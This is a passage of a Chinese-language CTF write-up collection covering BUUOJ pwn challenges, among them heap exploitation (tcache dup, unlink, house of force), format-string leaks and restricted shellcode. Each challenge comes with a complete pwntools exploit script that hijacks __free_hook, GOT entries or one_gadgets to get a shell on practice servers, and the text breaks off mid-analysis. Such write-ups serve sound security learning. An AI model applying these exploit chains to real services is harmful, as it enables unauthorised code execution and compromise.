# actf_2019_babyheap
tcache dup
libc-2.27_0ubuntu1_amd64
这道题除了地址随机,其他保护都开了。有 tcache dup 漏洞。
经典的使用块去管理用户块。管理块先存放用户块地址,然后存放输出函数地址。
释放块后形成块链,由于 tcache 只会清空 8 字节存放 fd,所以输出函数地址不会被清除。利用这点输出 tcache bin 链上某个块的地址,实现堆地址泄露。
构造 管理块 -> 管理块,在后者中输入块地址和 system 函数地址。输入的地址对应的块为存放 "/bin/sh\0"
字符串的块。
每次输出菜单后都会调用 system,产生内核用户互换,导致调试中断。所以只能该调式的地方都加行
gdb.attach()
。
#!/usr/bin/python3 | |
from pwn import * | |
context(arch='amd64', log_level='debug') | |
filename = 'ACTF_2019_babyheap' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',27387) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
def dbg(): | |
if mode==2: | |
gdb.attach(p, 'b *0x400D69') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'Your choice: ', str(x).encode()) | |
def mal(size, content=b'a'*4): | |
choose(1) | |
p.sendlineafter(b'Please input size: \n', str(size).encode()) | |
p.sendafter(b'Please input content: ', content) | |
def free(index): | |
choose(2) | |
p.sendlineafter(b'Please input list index: \n', str(index).encode()) | |
def dump(index): | |
choose(3) | |
dbg() | |
p.sendlineafter(b'Please input list index: \n', str(index).encode()) | |
sys_p = e.plt['system'] | |
mal(0x18) | |
mal(0x38) | |
free(0) | |
free(1) | |
dump(1) # get add: r0 | |
p.recvuntil(b'Content is \'') | |
addr = u64(p.recvuntil(b'\'')[:-1].ljust(8,b'\0')) | |
print('addr: %#x'%addr) | |
dbg() | |
# 20 20 20 40 | |
mal(0x18, p64(addr+0x40)+p64(sys_p)) # write in h0 | |
mal(0x38, b'/bin/sh\0') | |
dump(0) | |
p.interactive() |
# ciscn_2019_es_1
** 考点:**heap, tcache dup, free_hook
**libc 版本:**ibc6_2.27-3ubuntu1_amd64
块管理块。释放只释放用户块。释放后地址不清空。
分配超过 0x400 大小的块然后释放,再打印,泄露 libc 地址。
tcache dup 对 free_hook 进行读写,将其修改为 system 的地址。最后释放含 "/bin/sh\0"
字符串的块。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher3 import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'ciscn_2019_es_1' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',28322) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b *$rebase(0x1621)') | |
def choose(x): | |
p.sendlineafter(b'choice:', str(x).encode()) | |
def mal(size, name, content): | |
choose(1) | |
p.sendlineafter(b's name', str(size).encode()) | |
p.sendafter(b'input name:\n', name) | |
p.sendafter(b'compary call:\n', content) | |
def free(index): | |
choose(3) | |
p.sendlineafter(b'Please input the index:\n', str(index).encode()) | |
def dump(index): | |
choose(2) | |
p.sendlineafter(b'Please input the index:\n', str(index).encode()) | |
mal(0x28, b'a', b'head 0') | |
mal(0x418, b'a', b'head 1') | |
mal(0x18, b'/bin/sh\0', b'head 2') | |
free(0) | |
free(0) | |
dump(0) | |
p.recvuntil(b'name:\n') | |
r0u = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0')) | |
free(1) | |
dump(1) | |
p.recvuntil(b'name:\n') | |
ma_ = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0')) | |
mh_a = ma_ - 96 - 0x10 | |
obj = LibcSearcher('__malloc_hook', mh_a) | |
libcbase = mh_a - obj.dump('__malloc_hook') | |
fh_a = libcbase + obj.dump('__free_hook') | |
sys_a = libcbase + obj.dump('system') | |
mal(0x418, b'a', b'head 3') | |
mal(0x28, p64(fh_a), b'h4') | |
mal(0x28, b'getshell!', b'h5') | |
mal(0x28, p64(sys_a), b'h6') | |
free(2) | |
p.interactive() |
# axb_2019_heap
** 考点:**fmtstr, unlink, off_by_one
**libc 版本:**libc6_2.23
该程序开启了全保护,一开始有个 printf 的格式化字符串漏洞。
分配函数略显复杂。分配时,若 key 变量值不为 43,那么将不能分配大小小于 0x80,即属于 fastbin 范围的块。之后有个分配后地址合法性校验,分配得到的地址不能过于接近储存块地址的数组。
含有编辑函数。释放函数清空了指针。
对块进行读写的函数 get_input
存在 off by one 漏洞。当已输入字符数等于大于给定值 + 1 后才退出。
# 利用
一开始的格式化字符串漏洞只能利用一次,因此只能利用其泄露地址。泄露代码段地址可以推测.bss 段地址,由此计算出 notelist 真实地址。泄露 libc 地址用于获取 system 函数地址。拿到数组地址后可以利用 unlink,由此实现任意地址读写,将 free_hook 填入 system 地址,后面的懂的都懂。
若一开始格式化字符串使用的输入函数是 read,那么可以利用低字节覆盖,将 main 函数地址覆盖为 key 变量的地址,然后利用 % n 修改 key 为 43。但第三字节需要爆破。
若没有 canary 保护,且 read 函数输入,则可以溢出覆盖返回地址低位,再次利用格式化字符串漏洞。
这题有个很坑的点。分配函数内有个 check_pass 函数验证分配地址合法性。由于 unlink 后,p 和 p 储存的内容只有 0x18 的差距,必定无法通过验证,所以一开始我以为必定用不成 unlink。但是!都 unlink 任意地址读写了,为啥还会需要再去分配 fake chunk 之类的呢?而编辑函数内没有该检测,所以 unlink 利用没有收到任何影响。这次属于是被出题者骗到了。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'axb_2019_heap' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29478) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b printf') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'>> ', str(x).encode()) | |
def mal(index, size, content): | |
choose(1) | |
p.sendlineafter(b'(0-10):', str(index).encode()) | |
p.sendlineafter(b'Enter a size:\n', str(size).encode()) | |
p.sendafter(b'Enter the content: \n', content) | |
if len(content)<size: | |
p.send(b'\n') | |
def free(index): | |
choose(2) | |
p.sendlineafter(b'Enter an index:\n', str(index).encode()) | |
def edit(index, content): | |
choose(4) | |
p.sendlineafter(b'Enter an index:\n', str(index).encode()) | |
p.sendafter(b'Enter the content: \n', content) | |
key = 0x202040 | |
notelist = 0x202060 | |
strind = 7.5 | |
lsmind = 15 | |
mainind = 11 | |
banner = 0xb42 | |
payload = b'%11$p,%15$p' | |
p.sendlineafter(b'name:', payload) | |
p.recvuntil(b'Hello, ') | |
main_a = int(p.recvuntil(b',')[:-1],16) | |
lsm_ = int(p.recvuntil(b'\n')[:-1], 16) | |
print('main:'+hex(main_a)) | |
print('lsm:'+hex(lsm_)) | |
notelist += main_a - 0x1186 | |
lsm_a = lsm_ - 240 | |
obj = LibcSearcher('__libc_start_main', lsm_a) | |
libcbase = lsm_a - obj.dump('__libc_start_main') | |
fh_a = libcbase + obj.dump('__free_hook') | |
sys_a = libcbase + obj.dump('system') | |
mal(0, 0x88, b'aa') | |
mal(1, 0x88, b'aa') | |
mal(2, 0x88, b'aa') | |
mal(3, 0x88, b'/bin/sh\0') | |
c1i = notelist + 0x10 | |
payload = flat({0:[0, 0x81, c1i-0x18, c1i-0x10], 0x80:[0x80]}) + p8(0x90) | |
edit(1, payload) | |
free(2) | |
edit(1, flat({8:fh_a})+b'\x80\n') | |
edit(0, p64(sys_a)+b'\n') | |
free(3) | |
p.interactive() |
# oneshot_tjctf_2016
** 考点:**one_gadget
拥有一次读取任意地址内容和跳转到任意地址的机会。
读取任意 libc 函数泄露 libc 地址,然后跳转到 one_gadget。
libc 版本读取后为 libc6_2.23-0ubuntu10_amd64
。
对对应文件执行 one_gadget
查询。
执行跳转前程序将 eax 寄存器清零,因此直接选择第一个 one_gadget。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher3 import LibcSearcher | |
context(log_level='debug') | |
e=ELF('./oneshot_tjctf_2016') | |
#p=process('./oneshot_tjctf_2016') | |
p=remote('node4.buuoj.cn',26936) | |
#gdb.attach(p, 'b __isoc99_scanf') | |
lsm_g = e.got['__libc_start_main'] | |
p.sendlineafter(b'Read location?', str(lsm_g).encode()) | |
p.recvuntil(b'Value: ') | |
lsm_a = int(p.recvuntil(b'\n'),16) | |
obj = LibcSearcher('__libc_start_main', lsm_a) | |
libcbase = lsm_a -obj.dump('__libc_start_main') | |
onegad = 0x45216 | |
onegad += libcbase | |
p.sendlineafter(b'Jump location?', str(onegad).encode()) | |
p.interactive() |
# 护网杯_2018_gettingstart
** 考点:** 浮点数储存
查看汇编找到浮点数对应的十六进制,缓冲区溢出将对应变量覆盖为对应值。
#!/usr/bin/python3 | |
from pwn import * | |
context(os='linux', arch='amd64', log_level='debug') | |
filename = '2018_gettingStart' | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process("./"+filename) if mode else remote('node4.buuoj.cn',26360) | |
fl = 0x3FB999999999999A | |
num = 0x7FFFFFFFFFFFFFFF | |
p.send(flat({0x18:[num, fl]})) | |
p.interactive() | |
p.close() |
# gyctf_2020_some_thing_exceting
** 考点:**heap, uaf
**libc 版本:**libc6_2.23
未开启 PIE。
程序开始将 flag 放在.bss 段上。
free 后不清空地址,块管理块模式。
对某个 0x10 管理块释放后分配为用户块,将 flag 的地址填入,然后输出。
#!/usr/bin/python3 | |
from pwn import * | |
context(arch='amd64', log_level='debug') | |
filename = 'gyctf_2020_some_thing_exceting' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',28272) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b ') | |
def choose(x): | |
p.sendlineafter(b'> ', str(x).encode()) | |
def mal(size, content, size1, content1): # one time two malloc | |
choose(1) | |
p.sendlineafter(b"> ba's length : ", str(size).encode()) | |
p.sendafter(b'> ba : ', content) | |
p.sendlineafter(b"> na's length : ", str(size1).encode()) | |
p.sendafter(b'> na : ', content1) | |
def free(index): | |
choose(3) | |
p.sendlineafter(b'> Banana ID : ', str(index).encode()) | |
def dump(index): | |
choose(4) | |
p.sendlineafter(b'> SCP project ID : ', str(index).encode()) | |
flag = 0x6020A8 | |
mal(0x18, b'a', 0x28, b'a') | |
mal(0x28, b'a', 0x28, b'a') | |
mal(0x18, b'a', 0x28, b'a') | |
free(0) | |
free(1) | |
mal(0x18, p64(flag)+p64(flag), 0x28, b'a') | |
dump(0) | |
p.interactive() |
# *wustctf2020_number_game
** 考点:**int 数据
看代码,若输入的数字小于 0 且取负后仍小于 0,那么可以 getshell。
int 范围中负数范围比正数多 1。对于 32 位程序而言这个多出来的数据为 -2147483648
。
这个数二进制最高位为 1,其他位为 0。取负是先取反后加一,这个数取反后最高位为 0 其他为 1。若加一,每一位都会进位,最后值依旧是最高位为 1,其他位为 0,即为本身。
输入该数,直接 getshell。
#!/usr/bin/python3 | |
from pwn import * | |
context(log_level='debug') | |
#p=process('./wustctf2020_number_game') | |
p=remote('node4.buuoj.cn',26335) | |
num = -2147483648 | |
p.sendline(str(num).encode()) | |
p.interactive() |
# zctf2016_note2
** 考点:**unlink, integer overflow, overlap
**libc 版本:**libc6_2.23
保护未开启 pie。分配块最多分配 0x80 大小,也就是实际大小最大 0x90。输入函数存在漏洞,当 size 为 0 时 size-1 会变成很大的数。由此解除输入字符限制。
但是当 malloc(0)
时会分配最小 chunk,也就是真实大小为 0x20。这个块不足以构造 unlink。而被 free 的块的大小需大于 fastbin 的最大大小,因此需 malloc(0x80)
。
所以最后即为在两个较大块中间夹杂一个 0x20 的小块。在低地址大块中伪造 fakechunk。利用小块修改高地址大块的 size,最后 free 大块。
在实现任意地址读写后,读取并修改 free 的 got 表然后就基本套路了。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'note2' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',26675) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b *0x40101C') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'option--->>\n', str(x).encode()) | |
def mal(size, content=b'aaaa\n'): # fastbin | |
choose(1) | |
p.sendlineafter(b'(less than 128)\n', str(size).encode()) | |
p.sendlineafter(b'note content:', content) | |
def free(index): | |
choose(4) | |
p.sendlineafter(b'Input the id of the note:\n', str(index).encode()) | |
def edit(index,c, content): | |
choose(3) | |
p.sendlineafter(b'Input the id of the note:\n', str(index).encode()) | |
p.sendlineafter(b'2.append]\n', str(c).encode()) | |
p.sendlineafter(b'TheNewContents:', content) | |
def dump(index): | |
choose(2) | |
p.sendlineafter(b'Input the id of the note:\n', str(index).encode()) | |
p.recvuntil(b'Content is ') | |
ptr = 0x602120 | |
c1i = ptr + 0x8 | |
name = 0x6020E0 | |
free_g = e.got['free'] | |
p.sendlineafter(b'name:', b'/bin/sh\0') | |
p.sendlineafter(b'address:', b'aha') | |
payload = flat([0,0x91, ptr-0x18, ptr-0x10]) | |
mal(0x78, payload) #0 | |
mal(0) #1 | |
mal(0x80) #2 | |
free(1) | |
payload = flat({0:b'/bin/sh\0',0x10:[0x90, 0x90]}) | |
mal(0, payload) #3 -> 1 | |
free(2) | |
edit(0, 1, b'a'*0x18 + p64(free_g)) | |
dump(0) | |
free_a = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0')) | |
print('[+] free:' + hex(free_a)) | |
obj = LibcSearcher('free',free_a) | |
libcbase = free_a - obj.dump('free') | |
sys_a = libcbase + obj.dump('system') | |
edit(0, 1, p64(sys_a)) | |
free(3) | |
p.interactive() |
# starctf_2019_babyshell
** 考点:**shellcode 有限制
**libc 版本:**libc6_2.23
# 顺从检测
输入的字符只能为以下字符之一: "ZZJ loves shell_code,and here is a gift:\x0F\x05 enjoy it!\n"
。
对应的有用的汇编代码:
ASCII | Hex | Assembler Instruction |
---|---|---|
‘ ’ | 0x20 | and byte ptr [eax+xx], xx |
, | 0x2c | sub al, xx |
: | 0x3a | cmp xx, [eax+xx] |
! | 0x21 | and dword ptr [eax+xx], xx |
\n | 0x0a | or xx, byte ptr [eax+xx] |
_ | 0x5f | pop edi |
Z | 0x5a | pop %rdx |
c | 0x63 | movslq (%{64bit}), % |
h | 0x68 | push [dword] |
i | 0x69 | imul [dword], (%{64bit}), % |
j | 0x6a | push [byte] |
执行 shellcode 前程序情况如下
。
因此要构造 read 函数,只需将 rdi 清零。我们可以用 '_'
直接 pop rdi,找到栈上为 0 的位置。加上 call 往栈上插入的 rip 地址,需要 pop 共 6 次。
这里记得 patchelf,不同 libc 产生的栈结构不同。刚开始我没有调整,所以一直本地成功远程失败。这里附上一张 ubuntu22.04 下的栈结构。

#!/usr/bin/python3 | |
from pwn import * | |
context(log_level='debug') | |
context.arch='amd64' | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./starctf_2019_babyshell_pe') if mode else remote('node4.buuoj.cn',29462) | |
if mode==2: | |
gdb.attach(p, 'b puts') | |
payload = b'_'*10 + asm('syscall') | |
p.sendafter(b'plz:', payload) | |
pause() | |
payload = asm('nop')*14 + asm(shellcraft.sh()) | |
p.send(payload) | |
p.interactive() |
但是这个方法我本地打的通,远程却打不通,可能版本还是对不上?
# 绕过验证
验证在常规字符串结束后便停止。因此只要在 shellcraft 前面加上 '\0'
,便可轻松绕过验证。
但是加上的部分必须为合法的机器码。恰好有一个 push [byte]
可以将紧接着的放入栈上。因此构造一个 push 0
,即 b"j\0"
便可绕过验证。
#!/usr/bin/python3 | |
from pwn import * | |
context(log_level='debug') | |
context.arch='amd64' | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./starctf_2019_babyshell_pe') if mode else remote('node4.buuoj.cn',29462) | |
if mode==2: | |
gdb.attach(p, 'b puts') | |
payload = b'j\0' + asm(shellcraft.sh()) | |
p.send(payload) | |
p.interactive() |
# gyctf_2020_force
** 考点:**hof
**libc 版本:**libc6_2.23_0ubuntu10_amd64
保护全开,只有分配函数,但是写入数据的最大长度固定为 0x50,且会返回 chunk 所处位置。
因此可以修改 top 的 size。然后就可以实现任意地址读写。
在修改 top 的 size 之前,先分配一个很大的 chunk,该 chunk 便会以 mmap 的形式分配在 libc 紧邻的低地址处,以此获得 libc 基地址。
左侧绿线红色即为 libc 基地址,左侧绿线紫色为大 chunk 所分配的起始地址。计算偏移为 0x200ff0。
然后分配一个小 chunk,如 0x18 大小的 chunk,顺便将 top size 设为 - 1,同时得到小 chunk 的地址,top 的地址便为其加 0x10。
之后计算出 __malloc_hook
的地址,然后分配一个 chunk 使得 top chunk 指向 malloc_hook 小 20 地址的地方。计算得到所需分配的 chunk 大小即为 malloc_hook - top address - 0x30
。之后再次分配 chunk 便可以修改 __malloc_hook
的值。
由于直接将 __malloc_hook
修改为 one_gadget 将不满足条件,则利用 realloc 作为跳板,同时修改 __realloc_hook
的值为 one_gadget。经调试,需要减少两个 realloc 函数的 pop 命令以此达到利用条件,所以 __malloc_hook
调用的 realloc 地址加 4。
0x7ffcdbbbcec8
为调佣 __malloc_hook
前的栈状态,这里 `__malloc_hook 跳转 realloc+4。
以上图为 call rax
即调用 one_gadget 后的栈状态。此时 rsp+0x70 的地址即为 0x7ffcdbbbced8
处,刚好为 0。rsp+0x30 也是,选一个即可。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'gyctf_2020_force' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29788) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b *$rebase(0xCA5)') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'2:puts\n', str(x).encode()) | |
def mal(size, content=b'aaaa'): | |
choose(1) | |
p.sendlineafter(b'size\n', str(size).encode()) | |
p.recvuntil(b'addr ') | |
addr = int(p.recvuntil(b'\n'),16) | |
p.sendafter(b'content\n', content) | |
return addr | |
mc1u = mal(0x200000) | |
libcbase = mc1u + 0x200ff0 | |
mh_a = libcbase + libc.sym['__malloc_hook'] | |
realloc_a = libcbase + libc.sym['realloc'] | |
onegadget = libcbase + 0xf1147 | |
c1u = mal(0x18, b'/bin/sh\0' + b'a'*0x10 + p64(0xffffffffffffffff)) | |
t1 = c1u + 0x10 | |
print('t1:'+hex(t1)) | |
print('size:'+hex(mh_a-t1-0x30)) | |
mal(mh_a - t1 - 0x30) | |
mal(0x20, p64(0)+p64(onegadget)+p64(realloc_a+4)) | |
choose(1) | |
p.sendlineafter(b'size', b'0') | |
''' | |
obj = LibcSearcher('__malloc_hook',mh_a) | |
libcbase = mh_a - obj.dump('__malloc_hook') | |
fh_a = libcbase + obj.dump('__free_hook') | |
sys_a = libcbase + obj.dump('system') | |
''' | |
p.interactive() |
# wustctf2020_name_your_dog
** 考点:** 送分题
未开启 pie 和 relro 保护。
未判断数组下标,直接任意地址读写修改 got 表为后门函数 shell 的地址。
因为该程序为 32 位程序,以 4 字节为单位,但其写入以 8 字节为单位。数组起始地址为 0x8041060,所以必须寻找 got 表地址以 8 或 0 结尾的。
因此这里不能修改 printf,应该去修改 scanf。
#!/usr/bin/python3 | |
from pwn import * | |
context(log_level='debug') | |
e=ELF('./wustctf2020_name_your_dog') | |
#p=process('./wustctf2020_name_your_dog') | |
p=remote('node4.buuoj.cn',28854) | |
#gdb.attach(p, 'b printf') | |
target = 0x80485CB | |
offset = e.got['__isoc99_scanf'] - 0x0804a060 | |
index = offset // 8 | |
payload = b'a'*offset | |
p.sendlineafter(b'\n>', str(index).encode()) | |
p.sendlineafter(b'plz: ', p32(target)) | |
p.interactive() |
# wdb_2018_3rd_soEasy
** 考点:**ret2libc
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher3 import LibcSearcher | |
context(os='linux',arch='i386',log_level='debug') | |
filename = 'wdb_2018_3rd_soEasy' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_i386/libc/lib/i386-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process("./"+filename+'_pe') if mode else remote('node4.buuoj.cn',28559) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b puts') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
main_a = e.symbols['main'] | |
puts_p = e.plt['puts'] | |
#write_p = e.plt['write'] | |
lsm_g = e.got['__libc_start_main'] | |
offset=0x048 + 4 | |
p.recvuntil(b'->') | |
buf = int(p.recvuntil(b'\n'), 16) | |
print('[+]buf:'+hex(buf)) | |
payload = b'a'*offset + p32(puts_p) + p32(main_a) + p32(lsm_g) | |
#payload = b'a'*offset + p32(write_p) + p32(main_a) + p32(1) + p32(lsm_g) +p32(4) | |
p.sendafter(b'do?\n', payload) | |
lsm_a = u32(p.recv(4)) | |
print('the true address of __libc_start_main is %#x'%lsm_a) | |
#choose use LibcSearcher or libc file | |
#''' | |
obj = LibcSearcher('__libc_start_main',lsm_a) | |
libcbase = lsm_a - obj.dump('__libc_start_main') | |
sys_a = libcbase + obj.dump('system') | |
bs_a = libcbase + obj.dump('str_bin_sh') | |
''' | |
libcbase = lsm_a - libc.sym['__libc_start_main'] | |
sys_a = libcbase + libc.sym['system'] | |
bs_a = libcbase + next(libc.search(b'/bin/sh')) | |
''' | |
payload = b'a'*offset + p32(sys_a) + p32(main_a) + p32(bs_a) | |
p.sendafter(b'do?', payload) | |
p.interactive() | |
p.close() |
# ciscn_2019_en_3
** 考点:**heap, uaf, tcache dup, free_hook, fmtstr
开始有格式化字符串漏洞,但是不能利用 %N$
的形式,所以一个个输出。有个 _IO_2_1_stderr_
的 libc 函数,将其地址泄露,计算出 system 地址和 __free_hook
地址,然后利用 tcache dup 直接修改 __free_hook
。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher3 import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'ciscn_2019_en_3' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',26713) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b printf') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'choice:', str(x).encode()) | |
def mal(size, content=b'aaaa'): | |
choose(1) | |
p.sendlineafter(b'size of story: \n', str(size).encode()) | |
p.sendafter(b'inpute the story: \n', content) | |
def free(index): | |
choose(4) | |
p.sendlineafter(b'index:\n', str(index).encode()) | |
p.sendafter(b'name?\n', b'%p%p%p%p%p%p.%p\n') | |
p.recvuntil(b'.') | |
stderr = int(p.recvuntil(b'\n'), 16) | |
print('[+]stderr:'+hex(stderr)) | |
obj = LibcSearcher('_IO_2_1_stderr_', stderr) | |
libcbase = stderr - obj.dump('_IO_2_1_stderr_') | |
fh_a = libcbase + obj.dump('__free_hook') | |
sys_a = libcbase + obj.dump('system') | |
p.sendafter(b'ID.\n', b'114514') | |
mal(0x18) | |
mal(0x18, b'/bin/sh\0') | |
free(0) | |
free(0) | |
mal(0x18, p64(fh_a)) | |
mal(0x18) | |
mal(0x18, p64(sys_a)) | |
free(1) | |
p.interactive() |
# judgement_mna_2016
** 考点:**fmtstr
开始程序将 flag 文件读入了内存中,因此找到偏移,利用 format_string 漏洞直接输出。
两个地址相减除以 4,得到 flag 的偏移量,即 %28$n
。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher import LibcSearcher | |
context(os='linux',arch='i386',log_level='debug') | |
filename = 'judgement_mna_2016' | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process("./"+filename+'_pe') if mode else remote('node4.buuoj.cn',25488) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b printf') | |
flag = 0xfda0 | |
strg = 0xfd30 | |
payload = '%{}$s\n'.format((flag-strg)//4).encode() | |
p.sendafter(b'flag >> ', payload) | |
print(p.recvuntil(b'}').decode()) | |
p.close() |
# *ciscn_final_2
** 考点:**heap, IO_FILE, tcache dup, orw
**libc 版本:**libc6_2.27_3ubunto1_amd64
# 分析
保护全开。沙盒禁用了 execve。
# flag 文件
程序一开始将 flag 文件读入,并利用 dup2(fd, 666);
将 flag 文件标识符复制到了 666。由于 execve
被禁用因此只能利用 orw 的思路。因此可以修改 stdin
的 IO_FILE
结构体的 flagno
属性为 666
,这样当执行 scanf
时,将会直接从 flag 文件中读取。
退出函数中包含一次输入和对应的一次输出,刚好适合用于 orw 的 read 和 write 环节。
# 分配函数
这题的堆分配功能比较独特。首先分配大小固定为大块分配 malloc(0x20)
,实际大小 0x30。小块分配 malloc(0x10)
,实际大小 0x20。固定将分配后地址分别放在数组 int_pt[0]
和 int_pt[1]
中,可无限次分配,新分配块的地址将会直接覆盖原地址。每次分配后将 bool 置 1。
分配的同时往堆块内写入数据。这次写入数据的方式也不同,是获取用户输入的数字字符串直接转换成数值填入对应地址,即类似 scanf("%d", &ptr)
的输入方式。~~ 不用自己手动类型转换啦!~~ 该做法的缺点是能修改的字节有限且固定。两种 chunk 对应可写的字节数如下:
malloc(0x20)
:可写入 int 类型,即 4 字节。malloc(0x10)
:可写入 short 类型,即 2 字节。
同时,该函数会往 ** chunk_addr+8字节
的地址处也复制一份数字。该做法的作用是,在释放块后,留有 chunk_addr+8字节
** 处的数据供我们利用。
# 释放函数
在 bool 为 1 时可以选择释放大 chunk 或小 chunk。释放 chunk 后,没有清空地址。同时将 bool 置 0。由于 bool 的存在,所以不能连续释放两个相同的 chunk,只能借助另一类块的分配来实现 tcache dup。比如,要分配一个 0x30 大小的 chunk 进行 tcache dup,应执行以下命令。
# 以下函数定义见完整代码 | |
# 该代码仅做实例,未出现在 exp 中 | |
mal(1) # 这是那个 0x30 大小的 chunk | |
free(1) | |
mal(2) #这是借用的 0x20 大小的 chunk | |
free(1) | |
# 此时构成 tcache bin 循环 可以 dup | |
mal(1, target) # target 为要实现任意地址读写的地址 | |
mal(1) # 将重复块弹出 tcache bin,同时使得 bin 指向 target | |
mal(1, value) # value 为往 target 写入的数值 |
# 输出函数
无条件以数字形式输出数据。可选择大块或小块。但是输出依旧限制了字节数。同分配函数所写的一般。比如 8 字节的数据 0x1122334455667788
,对于大块则只会输出 0x55667788
(小端字节序)。
# 利用
常规思路是释放大 chunk 获得 libc 地址,然后直接修改 __malloc_hook
或者 __free_hook
。但是由于 execve 被禁用,因此只能利用 orw。但依旧是要先泄露 libc 地址,然后计算得到 stdin 的地址再往 flagno 处写入数值 666。
# 地址覆盖
由于我们泄露和修改的字节数固定为 4 字节或 2 字节。由于 64 位程序的地址为 8 字节,因此我们只能进行低位覆盖。由于整型输入的缘故,对于 int 哪怕只输入了 short 范围的数据,也会把 int 中的高 2 位置零或置 0xff。因此泄露和覆盖所用的 chunk 类型应该一致,或者使用 int 泄露,short 修改。
其次,高位数据无法修改。因此只能在现有的堆块地址或者 mainarena 地址上修改。
# 泄露 libc 地址
首先得构造 0x400 以上的 chunk 然后释放。因此第一次任意地址读写需要修改某个 chunk 的 size 区域。
先分配大量 chunk,确保构造的 chunk 拥有与之相邻的 “合法” chunk。然后构造 dup。在构造好 dup 的循环链时,将该循环的 chunk 打印,获得该 chunk 自身的地址。由此推算第一个 chunk 的地址。然后利用 dup 将第一个 chunk 的大小修改为对应的大小。
为了保存第一个 chunk 的地址,中间用于填充够 0x400 的 chunk 必须为同一类,这里第一个 chunk 为小,其后的 chunk 均为大。同时,由于构造 dup 时需一个不同类配合,因此需要先将这个唯一的小 chunk 释放。
# 修改 flagno
泄露 mainarena+96
